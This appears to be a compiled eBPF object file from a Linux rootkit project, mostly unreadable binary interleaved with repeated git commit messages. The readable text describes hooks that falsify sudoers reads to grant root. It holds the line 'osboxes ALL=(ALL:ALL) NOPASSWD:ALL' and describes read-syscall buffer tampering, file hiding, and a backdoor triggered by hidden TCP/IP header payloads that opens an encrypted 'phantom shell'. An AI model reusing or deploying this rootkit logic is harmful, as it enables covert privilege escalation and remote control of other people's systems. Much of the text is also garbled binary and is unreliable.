<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>y{<1A><>y{<1A><>y0{<1A><>y({<1A><>y {<1A><>y{<1A><>y{<1A><>cz<63><7A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>{
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00> <00><><EFBFBD><EFBFBD><07>yv<06>ar <00>enk<1A><>now hidd{<1A><>That is {<1A><><00>s<><73><EFBFBD>s<><73><EFBFBD>k<><6B><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>s<><73><EFBFBD><00>LL #c<1A><>PASSWD:A{<1A><>:ALL) NO{<1A><>ALL=(ALL{<1A><>osboxes {<1A><>aq0<01>{*<2A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>c<00>p <00><><EFBFBD><EFBFBD>m<08>q<><71><EFBFBD>T<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>h<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>i<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01> <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>w<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>o<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>U}n<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>muq<><71><EFBFBD>Us'<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mkq<><71><EFBFBD>Uit<00>c
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>maq<><71><EFBFBD>U_ <00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mWq<><71><EFBFBD>UUb<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mMq<><71><EFBFBD>UKe<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mCq<><71><EFBFBD>UA <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m9q<><71><EFBFBD>U7s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m/q<><71><EFBFBD>U-e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m%q<><71><EFBFBD>U#e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>Un<00>y<><79><EFBFBD><00>d<00><00>s 1<00><00>A<00><00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00><00>$<00> m &<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>$<00>$e<00><><EFBFBD><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD><00><><00>#s<1A><><00>% <00><00>aq<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>3<00><00><00><00> <00><>Y<00><00><00><><00><00><00>{j<><6A><00> {<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m Os<><73><EFBFBD>c<><63><EFBFBD>{<7B><><EFBFBD>ys<00><><00><><EFBFBD><EFBFBD><EFBFBD>q<00> <00>p{<7B><><EFBFBD>w cj<63><6A>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD> <00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>s%q<><71><EFBFBD>U#uq<><71><EFBFBD>U!dq<><71><EFBFBD>Uoq<><71><EFBFBD>Uq<><71><EFBFBD>/q<><71><EFBFBD>Ueq<><71><EFBFBD>Utq<><71><EFBFBD>Ucq<><71><EFBFBD>U/q<><71><EFBFBD>Usq<><71><EFBFBD>U uq<><71><EFBFBD>U dq<><71><EFBFBD>U oq<><71><EFBFBD>Ueq<><71><EFBFBD>Urq<><71><EFBFBD>Us<00> q<><71><EFBFBD><00> c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00><00><00><><00><00><00>{<1A><>{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>a<00><00><00>aras<00>8=<3D><00><00><00><00>9 "=<3D><00><00><00><00>`<00>q<> <00>U<01><><00>16=<00><00><>i<> #(i<><00><00><00>atas$<00><00><00><>{:H<>{*X<>3<00><00>i<><00>i<> wW<q<>gW<#<00><><00>1g w {:P<>e y<>X<EFBFBD><01> <01> <00><00>a=<15><00>y<>X<EFBFBD>e}<01><00><00>a-Qy<00>)<00>qaU<01>CqaC<00>qaU<01>_qaU<01>PqaU<01>HqaU<01>AqaU<01>NqaU<01>_qaU<01>Rqa U<01>Qqa
U<01>#i<>a<> 7<00>)<00><00>{<1A><><00><><00><><EFBFBD><EFBFBD><00>aU`<00>+<00><00>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>qc gqb O#qbgqdOBqe gqdOEqd gq`
OgOTgO2qegqcO5qcgq`Og OBgOSqdgqeOTqeq`gOPgO@g O0{
`<60>{*h<>{*<2A><>{
<EFBFBD><EFBFBD>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><><00>X<00><00><00>=<3D><00>O<00>a=<15><00>a = <00>a=~<00>a=<15><00>a =jw<00>5y<00>)<00>qaU,CqaC)qaU'_qaU%PqaU#HqaU!AqaUNqaU_qaURqa UQqa
U#i<>a<> 7<00>)<00><00>{<1A><><00><><00><><EFBFBD><EFBFBD><00>aU`<00>+<00><00>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>qb gqcO2qc gqd
OCgO#qdgqbO$qbgqeORqe gq` OkZl<5A>c:h<>gOBqcgqdOCqdqegOEgO5g O%{Z`<60>y<>h<EFBFBD>{*<2A><>{Z<><5A>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><><00>X<00><00><00><00><><00>cT<00>ckpc<> `<00>w<00><00>B<00><>y<00>)<00>qaU<01>CqaC<00>qaU<01>_qaU<01>PqaU<01>HqaU<01>AqaU<01>NqaU<01>_qaU<01>Rqa U<01>Qqa
U<01>#i<>a<> {X<>7<00>)<00><00>{<1A><><00><><00><><EFBFBD><EFBFBD><00>aU`<00>+<00><00>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>qc gqb O#qbgqdOBqe gqdOEqd gq`
OgOTgO2qegqcO5qcgq`Oq`gqhO<>k
p<EFBFBD>g OBgOSqdgqeOTqeq`gOPgO@g O0{
`<60>{*h<>y<>p<EFBFBD>{:<3A><>{*<2A><>{
<EFBFBD><EFBFBD>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><><00>X<00><00><00>&<26><00>cT<00>ckpy<>X<EFBFBD>c <00>y<00>)<00>qaU(CqaC%qaU#_qaU!PqaUHqaUAqaUNqaU_qaURqa UQqa
U#i<>a<> 7<00>)<00><00>{<1A><><00><><00><><EFBFBD><EFBFBD><00>aU`<00>+<00><00>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>qb gqcO2qc gqd
OCgO#qdgqbO$qbgqeORqe sZl<5A>c:h<>gOBqcgqdOCqdqegOEgO5g O%{Z`<60>y<>h<EFBFBD>{*<2A><>{Z<><5A>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><><00>X<00><00><00><00><>_y<00>)<00>qaU<01>CqaC<00>qaU<01>_qaU<01>PqaU<01>HqaU<01>AqaU<01>NqaU<01>_qaU<01>Rqa U<01>Qqa
U<01>#i<>a<> 7<00>)<00><00>{<1A><><00><><00><><EFBFBD><EFBFBD><00>aU`<00>+<00><00>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>qa gqbO!qb gqc
O2gOqcgqaOqagqdOAqd gqe OTqesZn<5A>kJl<4A>c*h<>gO1qbgqcO2qcqdgO4gO$g O{J`<60>y<>h<EFBFBD>{<1A><>{J<><4A>i<><69><EFBFBD>k<1A><>y<><79><EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>y<>x<EFBFBD>{<1A><>y<>p<EFBFBD>{<1A><><00>X<00><00><00>7<><00>y<00>)<00>qaU@CqaC=qaU;_qaU9PqaU7HqaU5AqaU3NqaU1_qaU/Rqa U-Qqa
U+#i<>a<> 7<00>)<00><00>{<1A><><00><><00><><EFBFBD><EFBFBD><00>aU`<00>+<00><00>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>qc gqb O#qbgqdOBqe gqdOEqd gq`
OgOTgO2qegqcO5qcgq`Oq`s
p<EFBFBD>g OBgOSqdgqeOTqeq`gOPgO@g O0{
`<60>{*h<>y<>p<EFBFBD>{:<3A><>{*<2A><>{
<EFBFBD><EFBFBD>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><><00>X<00><00><00><00><>
<EFBFBD>y<00>)<00>qaU<01>CqaC<00>qaU<01>_qaU<01>PqaU<01>HqaU<01>AqaU<01>NqaU<01>_qaU<01>Rqa U<01>Qqa
U<01>#i<>a<> 7<00>)<00><00>{<1A><><00><><00><><EFBFBD><EFBFBD><00>aU`<00>+<00><00>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>qb gqcO2qc gqd
OCgO#qdgqbO$qbgqeORc:h<>gOBqcgqdOCqdqegOEgO5g O%{Z`<60>y<>h<EFBFBD>{*<2A><>{Z<><5A>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><><00>X<00><00><00>Q<><00>cT<00>ckpc<> <00>c<00><><EFBFBD><EFBFBD>ci<><69><EFBFBD>kRy<><79><EFBFBD><00>w0k <00>w k kwky<><79><EFBFBD><00>w0k <00>w k kwky<><79><EFBFBD><00>w0k (<00>w k &k"wk$y<><79><EFBFBD><00>w0k 0<00>w k .k*wk,y<><79><EFBFBD><00>w0k 8<00>w k 6k2wk4y<><79><EFBFBD><00>w0k @<00>w k >k:wk<y<><79><EFBFBD><00>w0k H<00>w k FkBwkDy<><79><EFBFBD><00>w0k P<00>w k NkJwkL<00><00><00><00><00><><00><00><00>y<>X<EFBFBD>y<>P<EFBFBD>i<> W<01>D<00> <00>a<> c<1A><><00><><00><><EFBFBD><EFBFBD><00><00>{<1A><>{<1A><><00>ag <00> m!ceb{j@<40><00><00>!c<1A><>ac*<2A><>ac*<2A><>a c*<2A><><00>g w %<01><>g<00><><00><><EFBFBD><EFBFBD>a<>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>a<><61><EFBFBD><00>!<00><00><><EFBFBD><EFBFBD><EFBFBD>W<00>w<00><00>VW<00><00>ag g<00>e<00><00>!w<00>$w<00> w<00><00>C{:<10><00>{J<08><00> {
<00>a<><61><EFBFBD><00>B<00>{*<18><00>@w<00>Bw<00>Cw<00><00>!{ <20><00>2{*0<><00>C{:(<28>a<><61><EFBFBD><00>W<00><00>{*8<><00>g<00><00><00><><EFBFBD><EFBFBD>W<00>wy<><00><00><00>aW<00>w<00>ag<00>W<00><00>&g <00>Vg<00>!<00>&W<00>wy<><08><00>&<00>eW<00>w<00>eg<00>RW<00><00> g <00>g<00>%<00> W<00>wy<><10><00><00>W<00>w<00>g<00>W<00><00>#g <00>Sg<00>!<00>#W<00>wy<><18><00>#<00>2W<00>w<00>2g<00>#W<00><00>5g <00>g<00>2<00>5W<00>wy<>(<28><00><00>QW<00>w<00>Qg<00>W<00><00>5g <00>%g<00>1<00>5W<00>wy<>0<EFBFBD><00>%<00>RW<00>w<00>Rg<00>#W<00><00>5g <00>g<00>2<00>5W<00>wy<> <20><00><00>SW<00>w<00>Sg<00>5W<00><00>Pg <00> g<00>PW<00>wy<>8<EFBFBD><00><00>w<00><00>Sg<00>g <00>5<00>g<00>%W<00>w<00>CW<00>{:<10>w{:<18><00>5<00>Sw<00>S<00>0g<00>6<00>{J <20>wW<00><00>eW<00>E3y<> <20>W<00>g8<00>8g(<00>8<00><00>.<00>chc<1A><>a<>c<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>^<00><00><00>qbqc<00>!<00>1i<><00>ia<> U Vq<>gq<>gO5O!<00>wW<00>w<00>B<00>R<02><00><00><00><00>!gg <00><00>W<00>w<00>y<> <20><00>B_w]2+y<>8<EFBFBD><00>Cy<>(<28><00>c<00>1W<00>(y<>0<EFBFBD>y<><18><00>#<00>1W<00>y<>@<40>)=a<><61><EFBFBD>d<00><<00><00><00>0<00><00><00>X<00><00><00><00><00><><00>cT<00><><EFBFBD><EFBFBD>ccp<00><00><00><00><00><>g8<00>8g <00>8 <00>/<00>y<>@<40><00><><00><><EFBFBD><EFBFBD><00><00>{h<>{`<60>Wag <00> m!^e]{j@<40><00><00>!c`<60>ik*d<>ik*f<>ik*h<>i
k*j<>i k*l<>ik*n<><00>g w %W<>g<00><>d<><64><EFBFBD>i<>k<00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`<60><><EFBFBD><00><00><00>a<>`<60><00>A-B<00>i<>n<EFBFBD>i<>l<EFBFBD>i<>j<EFBFBD>{*8<>i<>h<EFBFBD>i<>f<EFBFBD>i<>d<EFBFBD>g w {J<><4A>{
<08>{j<><6A>e6e{*<18><00><00>b<00>6W<00>w<00>P<00>W<00>w{0<>y<>8<EFBFBD><00>QW<00>w{ <20><00>!W<00>w{(<28>y<><18><00>$W<00>w<00>c`<60>i<>kd<><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`<60><><EFBFBD><00><00>y<>X<EFBFBD>y<>P<EFBFBD> Q<00><00>d<00><00><><00>a =<15><00>h<00><>>S{*<18>Ufy<>8<EFBFBD>W<00>w{ <20><00>aW<00>w{(<28>y<><18><00>$W<00>w<00>6W<00>w<00>QW<00>w{0<><00>Pfq<>q<>
<00>5<00>%x q<>gO%q<> gO2<00>#wW<00>w<00>0<00>PY<00><00><00><><00>P<00>W<00>w{0<>y<>8<EFBFBD><00>QW<00>w{ <20><00>aW<00>w{(<28>:<00>$W<00>w<00>`<00>6W<00>w{Z<10>W<00>w{Z0<5A>y<>8<EFBFBD><00>QW<00>w{ <20><00>W<00>w{(<28>y<><10>*<00>aW<00>w{(<28><00>$W<00>w<00>6W<00>w<00>P<00>W<00>w{0<>y<>8<EFBFBD><00>QW<00>w{ <20><00>P<00>W<00>w{0<>y<>8<EFBFBD><00>QW<00>w{ <20><00>aW<00>w{(<28>y<><18><00>$W<00>w<00>6W<00>w<00>A<00>!{<1A><><00>b{*<18><00>6<00><00><><EFBFBD><EFBFBD><EFBFBD>1W<00>w<00>1<00>W<00><00>5g g<00>1<00>Sy<>0<EFBFBD><00>%<00>{Z<00>y<> <20><00>P{
<10>y<>8<EFBFBD><00>{Z <20>y<>(<28><00>P{
8<EFBFBD>y<><79><EFBFBD><00>{Z(<28><00>@y<><08><00>B{*0<><00><00><><EFBFBD><EFBFBD>W<00>w<00>6<00>cW<00>w<00>cg<00>4W<00><00>Eg <00>g<00>C<00>EW<00>wy<><18><00>R<00>!W<00>w<00>!g<00>W<00><00>Eg <00>5g<00>A<00>EW<00>wy<><79><EFBFBD><00>R<00>#W<00>w<00>#g<00>4W<00><00>Eg <00>g<00>C<00>EW<00>w<00>P<00>W<00>w<00>g<00>W<00><00>Eg <00>5g<00>A<00>EW<00>wy<>(<28><00>T<00>CW<00>w<00>Cg<00>4W<00><00>Eg <00>g<00>C<00>EW<00>wy<>8<EFBFBD><00>T<00>AW<00>w<00>Ag<00>W<00><00>Eg <00>5g<00>A<00>EW<00>wy<> <20><00>R<00>#W<00>w<00>#g<00>2W<00><00>$g <00>g<00>#<00>$W<00>wy<><10><00>B<00>!W<00>w<00>!g<00>W<00><00>$g <00>4g<00>$W<00>wy<><00><00>C<00>4W<00>w<00>4<00>@W<00><00>g<00>4y<>0<EFBFBD>W<00><00>FW<00>V g8<00>8y<>0<EFBFBD>g8<00>8<00><00>4y<><79><EFBFBD><00>y<>@<40><00><><00>!gg <00><00>0W<00>wy<><08><00>g<00>W<00>w]#y<><10><00>dy<>(<28><00>4<00>AW<00>Qy<><00><00>4y<>8<EFBFBD><00>$<00>AW<00>y<>@<40>)g+<00><y<><79><EFBFBD><00><00><00>0<00><00><00>X<00><00><00><00><00><><00><>g8<00>8g8<00>8<00><00>.<00><00>y<>@<40>k<><00>Cq<> q<> gOE<00>Tw<00>C<00><00>R<00>!W<00>U)<00><00>)<00><00><00>0<00><00><00>X<00><00><00><00><>`<60><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD>B<00>cT<00><><EFBFBD><EFBFBD>cc`4UU%<00><00>)<00><00><00>(<00><00>X<00><00><00><00><>`<60><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD>'<00>cT<00>W<00>U#U"$<00><00>)<00> <00>*<00><00>X<00><00><00><00><>`<60><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00>cT<00>c<00><><EFBFBD><EFBFBD>c<00><00><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`<60><><EFBFBD><EFBFBD><15>UN<00>><3E><00><00>)<00>7<00>)<00><00>{<1A><><00><><00><><EFBFBD><EFBFBD><00>aU`<00>+<00><00>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>CC_PHANT{*`<60>OM_INIT{:h<>{:<3A><>{*<2A><>k<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><><00>X<00><00><00><00><><00>cT<00>ckpc` <00>c<00><><EFBFBD><EFBFBD>ci<><69><EFBFBD>kRy<><79><EFBFBD><00>w0k <00>w k kwky<><79><EFBFBD><00>w0k <00>w k kwky<><79><EFBFBD><00>w0k (<00>w k &k"wk$y<><79><EFBFBD><00>w0k 0<00>w k .k*wk,y<><79><EFBFBD><00>w0k 8<00>w k 6k2wk4y<><79><EFBFBD><00>w0k @<00>w k >k:wk<y<><79><EFBFBD><00>w0k H<00>w k FkBwkDy<><79><EFBFBD><00>w0k P<00>w k NkJwkLa<>g8<00>8;<00> <00><00>g8<00>8y<>8<EFBFBD>g8<00>8H<00><00>c<00>y<>0<EFBFBD>y<><18><00>#<00>1W<00>y<>@<40>U)V<00><00>
gi2O!i2 k*<2A><>c<1A><>i1gi2O!i2i3gO#g O{:<3A><>a<> g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><>a<>g a<>O!a<>c*p<>{`<60>a<>a<> g O{*h<><00>q<00><00>A
g<00>4<00><00><00><><EFBFBD><EFBFBD>{P<><00>ax<00><>"{8<>aq<00><>{*0<>=!<00>
y<>8<EFBFBD>=!<00><00><>6=!T<00><00>&<00><00><><EFBFBD><EFBFBD>{P<><00><00><00>Gy<>P<EFBFBD><00><00>ayav=<3D>"<00>&<00>y<>@<40>y<>H<EFBFBD>y<>X<EFBFBD>y<>X<EFBFBD>y<>H<EFBFBD><00>d<1F>@<00>)<00>i<00><00>c<00><><00>as<00><00>*<00><><00><>y<>0<EFBFBD>=.y<>8<EFBFBD>=T<00>y<>0<EFBFBD>i#<00>y<>8<EFBFBD>i wW<q"gW<#{:@<40><00>2g w <00>9[-#fz<00>O<>i<><69><EFBFBD>k a<><61><EFBFBD>kwk
y<><79><EFBFBD><00>w0k(<00>w k(kwka<><61><EFBFBD>y<>0<EFBFBD>cy<><79><EFBFBD>cw c y<><79><EFBFBD>cw ca<>p<EFBFBD>y<>8<EFBFBD>cy<>h<EFBFBD>cw c y<>`<60>cw cid
ic <00><00>ia<00><00>k<00><00>{P<>k&
><00>*<00><00>d<00><00><00><00><00>c<00><00><00><00>wW<00><>W<00><><00>wW<00><>W<00><><00>wW<00><>W<00><><00>w<00><00><><EFBFBD><EFBFBD>y<EFBFBD>0<EFBFBD>k
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
i#i$
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
&<00><00><00>R<>y<>8<EFBFBD><00>(<00>!'=<00>yy<>@<40>g w <00><>-bq<00><00><>s&s%s$s#s"s!s sssssssssssssssssss s s s
s sssssssss<00>'y<>@<40>m!I<00><>'-aFy<>@<40><00><><EFBFBD><EFBFBD>g w !-aC<00>)<00><>s&<00>;s%<00>ds!s <00>ns#s<00>bs<00>gs<00>ass<00>ms <00>sssss <00>us
<00>os <00>iss<00>vs<00>rs<00>ps<00> s$ssss s<00>es"ssssss<00>hsss<00>Ts <00><00>&i<>h<00><00>-<00><00><00>5y<>P<EFBFBD><00><>y<>@<40><00><00><>Error
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Bound check fail ABDE %i
Included new version of custom lib. Added checks for backdoor triggering
2022-05-04 04:40:25 -04:00
D: %ld, DE:%ldDetected 9000
Completed new backdoor packet stream parsing for V3 backdoor using hidden payloads in TCP and IP header positions
2022-05-09 16:36:39 -04:00
GSYN detectedF, PS:%i, P:%i, DE:%i
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
GReceived valid TCP packet with payload %s of size %i
HOLD data_end: %i, payload: %i
Control back to main program with retcode %i after expanding %i bytes
Bound check A failed while expanding
Bound check B failed while expanding
Bound check D failed while expanding
Unlikely you are here, but OK
Bound check E failed while expanding
Bound check F failed while expanding
BPF finished with ret %i and payload %s of size %i
BPF finished with error on expansion
Previous length: %i, current length: %i
NEW data_end: %i, payload: %i
And on NEW CTX data_end: %i, payload: %i
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
Error writing to user memory
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Error writing to user memory in additional symbol
Sudo overwritten
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
Overwritting at pid %u, %s
Filename is %s
and program name is %s
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Error writing to user memory
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
GDetected possible phantom shell command
Not phantom shell
Updated all components with phantom shell
2022-05-09 22:06:29 -04:00
Received request to start encrypted connection
Received request to activate all hooks
Received request to deactivate all hooks
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
Received request to start phantom shell
Overwriting previous phantom shell config
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
FAIL CHECK 1
FAIL CHECK 2
FAIL CHECK 3
Finished backdoor V1 check with success
Added new hidden payload stream mode, now triggered using the source port. Fully integrated already, can select between that and seqnum in client. Both launch live encrypted shell via v3 backdoor
2022-05-09 20:16:13 -04:00
Failed backdoor V3 (32bit) check 1: %x vs %x
Failed backdoor V3 (32bit) check 2: %x vs %x
Fixed a big bug in previous client terminals, also made the new multi-triggered backdoor to work completely and connect to encrypted session
2022-05-09 17:48:02 -04:00
R: %x, K3:%xP5:%x, P8:%x
FAIL CHECK 3
Added new hidden payload stream mode, now triggered using the source port. Fully integrated already, can select between that and seqnum in client. Both launch live encrypted shell via v3 backdoor
2022-05-09 20:16:13 -04:00
Completed backdoor trigger v3 (32bit), b_data position: %i
Failed backdoor V3 (16bit) check 1 in %i: %x vs %x
Failed backdoor V3 (16bit) check 2: %x vs %x
R: %x, K3:%xP5:%x, P8:%x
FAIL CHECK 3
Completed backdoor trigger v3 (16bit), b_data position: %i
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Failed to expand a tcp packet reserved bytes by %i
Bound check A failed while expanding
Bound check B failed while expanding
Bound check C failed while expanding
before: %i, checksum %u
after: %i, checksum %u
csum: %u for data_start %u, data_size %i
Invalid attempt to substitute the payload A
Invalid attempt to substitute the payload C
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
Dual BSD/GPLThat is now hiddenosboxes ALL=(ALL:ALL) NOPASSWD:ALL #CC_PHANTOM_INIT<00><>,,FG     ,H] kx  <00> <00><00>@<00><00><00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00><00>H] <00><00> <00><00>@<00><00><00><00>+B<00><00>@N V!\@#s8<00>$<00>@<00>`<00>&<00><00>&<00><00>%<00>%<00> <00><00>@<00><00><00>"<00><00>'*<00>H<00><00> <00>+@%@<00> <00><00>@<00><00><00>)<00>,/%LAH M@T+P\(<00><00>@<00><00><00>.<00>x<00>03<00><00>4<00>6@<00>7`<00>7<00><00>9<00><00><00><00>5<00>5<00> 8% (2, :=<00>(<00>!<00>@<00> `<00>><00><00>$<00><00>?@> (< @C4<00>!<00>@FD<00>J@ (BS EHM (<00>!<00>@<00> `b <00><00>$<00><00> f I k  (Gs  JM(<00>!<00>@<00> `<00>N<00>'P<00>,PO
%Q
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
N (L1 RU<00><00><00> <00>@<00>`<00><00> <00> (T V( <00>.Y2Y:Y>ZFZ IZ0RY@VYH_\Pe]`k]<00>q5v[}<00>[<00>U<00>\ZcZh] l]@t[`y[d~[h<01>[i<01>[j<01>[k<01>[l<01>[m<01>[n<01>[o<01>Zp_\<00><00>Z<00>OD?_ ^?a% m?cOu?eO<00>?g<00>?gO<00>?jO<00>?l<00>?l<00>?gO @pO#@r9@gO6O@uf@gO}@xOG<00>@zO&<00>@|<00>@|<00>@|<00>@xA|A|O55A<0E>LA|O)cA<0E>zAxO*<00>A<0E>O<00>A<0E>O3<00>A<0E>O<00>A<0E>OB<0E>O1B<0E>OTB<0E>wB<0E><00>Bg<00>B<0E><00>BeO0<00>B<0E>O(C<0E>5C<0E>TC<0E>O+sC<0E>O<00>C<0E><00>C<0E><00>C<0E>D<0E>O.'D<0E>O/MD<0E>vDp<00>D<0E><00>D<0E>O<<00>D<0E>O4E<0E>@E<0E>iEp<00>E<0E><00>E<0E><00>E<0E> F<0E>/F|TF|yF|O<00>F<0E><00>F<0E><00>F<0E>O-<00>F<0E>G<0E>+Gb0G  ( - 1(6GB`fhikm$n3oBqD sQthvj6w<00>y<00>{<00>G}&~.&T&<00>z<00><00>&<00><00>&<00><00>5<00>&<00>@)<00>i<00><00>*<00><00><00><00>3<00><00><00>1<00>A<00>Y<00>w<00>y)<00><00><00><00>0<00><00>(<00> *<00>7)<00>`+<00><00><00><00><00><00><00><00>)<00><00>.<00> /<00>; <00>H<00>V<00>d<<00><00>4<00><00>.<00> <00><00><00>+<<00>g4<00><00>&<00><00>&<00><00>&<00> <00>&<00>>*<00>h-<00><00>->Gd int__ARRAY_SIZE_TYPE____u32unsigned intbackdoor_packet_log_data_32last_packet_modifiedtrigger_arraytrigger_32_tseq_rawbackdoor_priv_packet_log_32typemax_entrieskeyvaluebackdoor_packet_log_32backdoor_packet_log_data_16trigger_16_tsrc_portunsigned shortbackdoor_priv_packet_log_16backdoor_packet_log_16ring_bufferrb_comm__u64long long unsigned intfs_open_databuffdpidprogram_namefilenameis_sudocharfs_priv_openfs_openexec_var_hijack_active_datahijack_stateargv0exec_var_priv_hijack_activeexec_var_hijack_activebackdoor_phantom_shell_dataactived_ipd_portpayloadbackdoor_priv_phantom_shellpinningbackdoor_phantom_shelltrace_event_raw_sched_process_execent__data_loc_filenameold_pid_
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
p<00>FV
t<00>F<00>
